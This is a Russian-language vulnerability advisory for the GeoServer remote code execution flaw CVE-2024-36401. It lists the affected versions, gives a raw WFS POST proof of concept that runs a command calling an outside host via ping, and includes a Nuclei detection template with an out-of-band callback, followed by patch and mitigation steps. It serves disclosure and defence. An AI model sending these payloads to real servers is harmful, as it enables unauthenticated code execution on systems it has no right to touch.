Описание уязвимости
GeoServer — это программный сервер с открытым исходным кодом, написанный на Java, который позволяет пользователям обмениваться геопространственными данными и редактировать их. Он предназначен для обеспечения совместимости, используя открытые стандарты для публикации данных из любого основного источника пространственных данных.
GeoServer имеет уязвимость удаленного выполнения кода (CVE-2024-36401), которая позволяет неаутентифицированному удаленному злоумышленнику выполнить произвольный код на сервере и получить серверные привилегии.
Название уязвимости | Уязвимость удаленного выполнения кода Geoserver |
---|---|
CVE-кодирование | CVE-2024-36401 |
Тип уязвимости | выполнение кода |
Уровень уязвимости | высокий риск |
Общественное время | 2024-07-02 |
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
Нет необходимости в каких-либо Условия использования
POST /geoserver/wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 339
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping dgrh3.cn -c 1")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
id: CVE-2024-36401-GeoServer-wfs-rce
info:
name: GeoServer удаленныйвыполнение кодалазейки(CVE-2024-36401)
author: whgojp
severity: critical
description: GeoServer удаленныйвыполнение кодалазейки(CVE-2024-36401)
http:
- raw:
- |-
@timeout: 30s
POST /geoserver/wfs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
Content-Length: 324
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- "dns"
part: interactsh_protocol
GeoServer выпустил патчи для предыдущих версий, которые можно скачать со страницы загрузки (https://geoserver.org/): 2.25.1, 2.24.3, 2.24.2, 2.23.2, 2.21.5, 2.20.7. , 2.20.4. 2.19.2, 2.18.0, получить gt-app-schema и gt-complex из скачанного патча. gt-xsd-core, просто замените соответствующий файл в WEB-INF/lib.
Удалите файл gt-complex-x.y.jar в GeoServer (x.y — это версия GeoTools, например, gt-complex-31.1.jar в GeoServer 2.25.1). Это удалит уязвимый код из GeoServer, но может привести к разрушению некоторых функций GeoServer. .
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv https://osgeo-org.atlassian.net/browse/GEOT-7587 https://github.com/vulhub/vulhub/pull/540/files#diff-f83989e1a9d69179df696bc01c04fbf62ba914325457bef67c1d95fb63772e91